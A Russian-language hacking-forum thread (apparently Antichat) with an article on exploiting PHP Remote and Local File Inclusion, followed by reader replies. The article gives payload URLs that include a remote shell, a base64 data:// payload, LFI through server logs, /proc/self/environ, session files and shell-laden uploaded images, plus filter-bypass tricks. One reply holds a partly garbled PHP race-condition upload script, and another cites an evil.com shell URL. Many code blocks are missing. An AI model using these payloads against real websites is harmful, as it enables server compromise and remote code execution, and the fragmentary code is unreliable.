![]() |
В этом теме я надеюсь собрать максимально возможную информацию о ( Local | Remote ) File Inclusion, и описать принцип работы более доступно для широких масс.
Для понимания о чем пойдет речь ниже, необходимо знать основу PHP и работу функций отвечающих за подключение файлов, а так же архитектуру каталогов в *nix системах, ну и наверное смекалку. Начнем с того, что File Inclusion делится на две основные ветви.
Получается, представим например такой код: PHP код:
Впрочем зачем говорить, ты берешь и делаешь: httр://localhost/?переменная=Какая_гадость,_э та_ваша_заливная_рыба! И вуаля, если принудительно никто не отключил сообщения об ошибках, то ты увидишь нечто похожее: Код:
Warning: include(Какая_гадость,_эта_ваша_заливная_рыба!) [function.include]: failed to open stream: No such file or directory in /home/www/index.php on line 2Теперь ты имеешь полноценный Remote File Inclusion, если настройки PHP удовлетворительно положительны (смотреть выше), то записав в переменную ссылку на свой шелл, ты получишь полноценный шелл, т.е.: httр://localhost/?переменная=http://сайт_где_у_нас.шелл/ну_и_сам.шелл Как ты уже наверное догадался, после передачи переменной 'переменная', определенным методом (в данном случае GET), в код, код принимает такой вид: PHP код:
Ну а уж если настройки этого самого PHP очень скучны своими Offами, то ты имеешь дело с Local File Inclusion, впрочем обо всем подробнее ниже. Remote File Inclusion Remote File Inclusion - это подключение произвольного файла из внешнего сервера в работу уязвимого файла. Для эксплуатации необходимы два условия в настройках php.ini: Цитата:
PHP код:
Хотя это уже было... и ты сообщил всё горе-кодеру. Не долго подумав, он решил, что если в скрипте используется подключение файла с явным (так сказать навязанным) расширением , то его никто не взламает! PHP код:
Тот в полном негодовании о произошедшем в злости и с маленькими нервно-бегающими глазами, решил нахрен фильтровать протоколы HTTP и HTTPS полученные в переменных от пользователей: PHP код:
Горе-кодер, уже от беспомощности и непонимании происходящего, отфильтровал ВСЕ протоколы: PHP код:
А кто это сделал? составляешь пакет и не медля ни минуты, отправляешь Цитата:
После проделанных телодвижений, тебя осенило! Ведь еще можно же заюзать URL-схему: data (перевод) Выглядит это примерно так: Код:
data:[][;charset=][;base64],Но если неугомонный кодер, очень жестко фильтрует полученные данные на всякие символы, то можно перевести всё в кодироку base64, а всякие плюсики и ровняшки (если такие будут) еще и в URL закодировать: httр://localhost/?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA%2FPg%3D%3D (хотя можно и подобрать без фильтруемых символов). Ты сообщил о найденых багах горе-кодеру, и пошел спать. Проснувшись утром, и зайдя снова на этот сайт, ты понимаешь, что всё, на этом и заканчиваются возможности Remote File Inclusion. Что теперь делать? Local File Inclusion Local File Inclusion - это подключение произвольного файла расположенного на локальном (читать как атакуемом) сервере в работу уязвимого. Проснувшись утром, и зайдя снова на этот сайт, ты видишь(ты же наверняка нашел файл test.php, который содержит phpinfo(), давно забытый в корне сайта), что кодер, обезопасил себя, отключив allow_url_include в настройках PHP, мало того, он изменил код, указав в функции подключения файла полный путь до каталога вызываемого скрипта: PHP код:
Здесь тебе пригодиться любой файл, который тебе пригодится (тавтология же), а именно:[LIST][*]не нарушающий синтаксис PHP кода. (содержащий в себе подобие , кодируешь всё в url, составляешь и отправляешь пакет: Цитата:
Код:
127.0.0.1 - [29/Sep/2010:13:55:36 -0700] "GET /epicfaaaaaail.php? HTTP/1.1" 404 2326Думаю с логами веб-сервера проблем не должно возникнуть, так как их работа очевидна, запись всех ошибок возникших во время работы (error_log) и запись вообще всех действий пользователей (access_log), кстати в связи с тем что access_log записывает всё, что только можно, его размеры порой ужасают. А если работа очевидна, то и ход действий понятен, а если ход действий понятен, тогда, записываем то, что нужно, так как получится, подключаем и заливаемся. НО! Но не всё так просто как казалось бы, ведь горе-кодер, оказался еще и администратором сервера, по этому он очень надежно спрятал логи, от пытливых твоих глаз. Ну не знал он, ну правда не знал о системном каталоге /proc, в котором лежат директории символизирующие запущенные процессы, в которых лежат файлы с информацией о процессе, и тем более о символической ссылке self, которая символически так ссылается на текущий процесс, а текущий процесс, у нас запустил кто? Правильно ты, из под пользователя apache, а ведь запись логов, это тоже процесс, исходя из этой логике ты понимаешь, что искать логи безнадежно и можно получить доступ к ним напрямую, и тут же вспоминаешь цитату из статьи M4Gа : Цитата:
Удача не улыбается. Но ты не унываешь, ведь есть еще ярлык cmdline, который отвечает за информацию о запуске процесса: httр://localhost/?page=../../../proc/self/cmdline Цитата:
Файлы содержащие переменные окружения. Просмотрев весь список процессов, и не найдя логи, ты естественно не унываешь, ведь у тебя еще куча методов, и ты вспоминаешь про файлы содержащие переменные окружения, глупо конечно называть один файл, во множественном числе, но он один, и это environ, который так же находится в каталоге с процессами /proc/self. Он содержит в себе информацию о среде который запустил процесс, а именно в твоем случае, это информация о твоём браузере. Недолго думая ты открываешь: httр://localhost/?page=../../../proc/self/environ и видишь: Код:
SERVER_SIGNATURE=Цитата:
Файлы сессии. ТЫСЯЧИ ЧЕРТЕЙ! Не один из способов не сработал до сих пор, логи ты не нашел, на каталог /proc тебе хватило прав. Что делать? Полазив по сайту ты нашел чат (форму авторизации/гостевую/еще что-то), логика его работы примерно такая, ты ввел свое имя, написал несколько сообщений, закрыл окно, после чего, каждый раз как ты туда зайдешь, ты будешь заходить под своим именем, примерный код: PHP код:
Цитата:
Ты конечно же вместо именни ввел , это значит что создался файл сессии с таким содержанием: Цитата:
После проделаной махинации, ты приклеел на холодильник заметку "%username% не забудь, подключать сессии возможно только при условии: session.save_handler = files!". Загружаемые пользователем файлы. Здесь ты сразу догадался, вспомнив, что на сайте же есть возможность загружать фотографии своих домашних питомцев. Нагуглив картинку подходящего сайза, скачав и открыв в блакноте, ты записал туда всё тот же шелл , загрузил на сервер, и подключил её: httр://localhost/?page=/папка_с_картинками/твоя.картинка&cmd=phpinfo(); Другие файлы. Здесь ты не стал заморачиваться, просто вспомнил статью slasha и сделал всё так, как он там рассказал. Ну вот, казалось бы и всё, ты сделал все свои грязные делишки, о которых в последствии по пьяни рассказал своему другану Васи (который и был тем самым горе кодером). Васёк, жизнью наученный, решил кардинально побеспокоиться о безопасности, он решил переписать код. Загуглив информацию о Local File Inclusion, он узнал, что если его код будет навязывать расширение: PHP код:
Вовремя он заметил, что нашлась альтернатива Null-байту, прочитав статьи тут про саму альтернативу и вот тут, как льтернативу альтернативе Null-байту Дальше, Васёк, было дело решил вырезать из полученных данных все слэши ( / ): PHP код:
В последствии, Васёк написал хорошую фильтрацию входящих переменных. А ты? А ты ищи другие способы, их обхода. Источники из которых была взята информация, или очень полезные: 1. /thread89082.html 2. http://raz0r.name/articles/null-byte-alternative/ 3. http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/ 4. http://wiki.apache.org/httpd/DistrosDefaultLayout 5. https://rdot.org/forum/showpost.php?p=6942&postcount=29 6. /thread71902.html 7. http://www.xakep.ru/post/49508/ Очень хотелось бы, если бы в комментариях была не только критика, но и дополнения. |
начитался это статьи /thread231827.html ?
что мало этого? поржать просто, все просто скопипастел в один угол.. "Вся правда о Хакере" прям.. мда, жду от тебя "Вся правда о SQL Injection".. МОА тебя ждет) з.ы Страшный баянчик.. |
а мне понравилось, спасибо автору. удобно
|
шел бы ты русский язык учить, статьи он "пишет"
|
За старания 5, за албанский 2, за информационность 4-, в итоге на троечку.
|
а мну нра )
+5 автору , не то что у киберпанка ) |
Вполне хорошая статья.. 4
|
Нормальная статья
|
Месяц статей о php-инклюдинге на Античате.
|
Хорошая статья!
|
спасибо!освежил память и узнал новое
|
Полезная статья. Компактно и по теме
|
Статья написана в хорошем тоне, автору +++
|
Кстати, хотелось бы обратить внимание на заметки Електа и Шанкара в теме: /thread51096.html
Цитата:
PHP код:
|
1 fail
2 fail 3 fail 4 fail 5 fail 6 fail 7 fail 8 fail 9 fail 10 fail 11 fail 12 fail 13 fail 14 fail 15 fail 16 fail 17 fail 18 fail 19 fail 20 fail |
Для успешной реализации требуется:
1. После инклюда, какие-то действия, которые задерживает время выполнения уязвимого скрипта (которого вполне хватит сграбить имя временного файла и проинклюдить его) 2. Достаточно широкий канал, что бы с наибольшей быстротой успеть сграбить и подключить файл. 20 итераций в скрипте, реализованы для большего профита, т.е. возможно что в первый/десятый раз не удастся сграбить имя, но на 15 может и получится. Так же вполне реально можно поддидосить сервак, что бы он помимо интерпретации уязвимого скрипта, "задумался" над чем нибудь другим, и тогда время выполнения уязвимого скрипта увеличится, а вместе с ним и шансы выполнения уязвимости. |
Local File Inclusion в Windows В Windows есть один замечательный финт (пруф: http://habrahabr.ru/company/xakep/blog/112691/), который позволяет проинклюдить файл по маске его имени, к примеру это одно и тоже: [CODE] file.php file."); fclose($file); print \'ooook\';?>'[/COLOR]."\r\n"; $head_file.=$boundary."--\r\n"; # создаем запрос для отпр вки $headers="POST ".$url['path']." HTTP/1.1\r\n"; $headers.="Host: ".$url['host']."\r\n"; $headers.="Content-Type: multipart/form-data; boundary=".substr($boundary,2,strlen($boundary))."\r\n"; $headers.="Content-Length: ".strlen($head_file)."\r\n\r\n"; return$headers.$head_file; } functionsend($host,$temp) { $url=parse_url($host); # открываем поток if($socket=fsockopen($url['host'],80,$errno,$errstr,30) ) { $data=data($host,$temp); # отправляем запрос серве у fwrite($socket,$data); returntrue; } else { returnfalse; } } for($i=1;$i[/COLOR] [/PHP] Лог работы примерно такой: Код:
1 failПуть до временный каталог можно узнать в phpinfo если он не стандартный, по стандарту /windows/temp/ |
инклуд это или нет?
|
Цитата:
|
Очень полезнаю статья для меня!Автор молодец, что собрал столько инфы в одну статью!
|
Доступно и хорошо
|
извиняюсь если кто уже спрашивал
есть допустим rfi у меня, но в переменную куда я вбиваю адрес шелла добавляется в начало к примеру modules и поучается скрипт обрашается не к http://evil.com/shell.txt а непосредственно к modules/http://evil.com/shell.txt и весь rfi идет коту под хвост как бороться с этим? |
Цитата:
|
Господа, а с этим что делать предложите?
total 68 -rw-r----- 1 root adm 25391 июля 21 13:42 access.log -rw-r----- 1 root adm 32189 июля 21 13:42 error.log -rw-r----- 1 root adm 0 июля 20 20:40 other_vhosts_access.log lao@lao-S:/var/log/apache2$ lao@lao-S:/proc/self$ ls -l | grep environ -r-------- 1 lao lao 0 июля 21 13:42 environ lao@lao-S:/var/www$ ls -l total 4 drwxr-xr-x 2 root root 4096 июля 20 21:02 html И это не какие-то хитрые настройки крутого админа, это по дефолту. если дать всем права хотя бы на чтение логов, то всё относительно не плохо. А так большая саSAMBA получается. Есть идеи? |
| Время: 07:53 |